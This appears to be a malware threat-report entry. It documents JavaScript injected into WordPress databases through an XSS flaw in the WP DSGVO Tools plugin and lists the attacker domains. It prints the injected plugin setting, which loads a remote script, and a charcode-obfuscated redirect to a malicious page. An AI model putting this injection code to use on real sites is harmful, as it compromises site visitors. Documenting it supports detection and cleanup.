Malware Threats Report #2021092433

Date	2021-09-24
Type	JS injection
See also	https://blog.nintechnet.com/wordpress-wp-dsgvo-tools-gdpr-plugin-patched-vulnerability-actively-exploited/
Target	WordPress
Where	WordPress database (sp_dsgvo_integration_matomo)
Vulnerability	WP DSGVO Tools (GDPR) <=3.1.22 Unauthenticated XSS
Malware Domain	https://store.piterreceiver.ga/jsa/trim.js, https://steam.piterreceiver.ga/pm.php, https://store.piterreceiver.ga/track/go.php?//pm.php, https://white.belonnanotservice.ga/jpGvcN
Malware Code	a:9:{s:7:"enabled";s:1:"1";s:10:"propertyId";s:0:"";s:10:"useOwnCode";s:1:"1";s:6:"jsCode";s:89:"<script type='text/javascript' src='https://store.piterreceiver.ga/jsa/trim.js'></script>";s:11:"cookieNames";s:7:"_pk_.";s:19:"showAsTechMandatory";s:1:"0";s:14:"usedTagmanager";s:0:"";s:18:"implementationMode";s:11:"on-premises";s:4:"meta";a:1:{s:6:"agency";s:0:"";}}
Malware Code	var pi = String.fromCharCode(104,116,116,112,115,58,47,47,115,116,101,97,109,46,112,105,116,101,114,114,101,99,101,105,118,101,114,46,103,97,47,112,109,46,112,104,112);window.location.replace(pi);document.location.href=pi;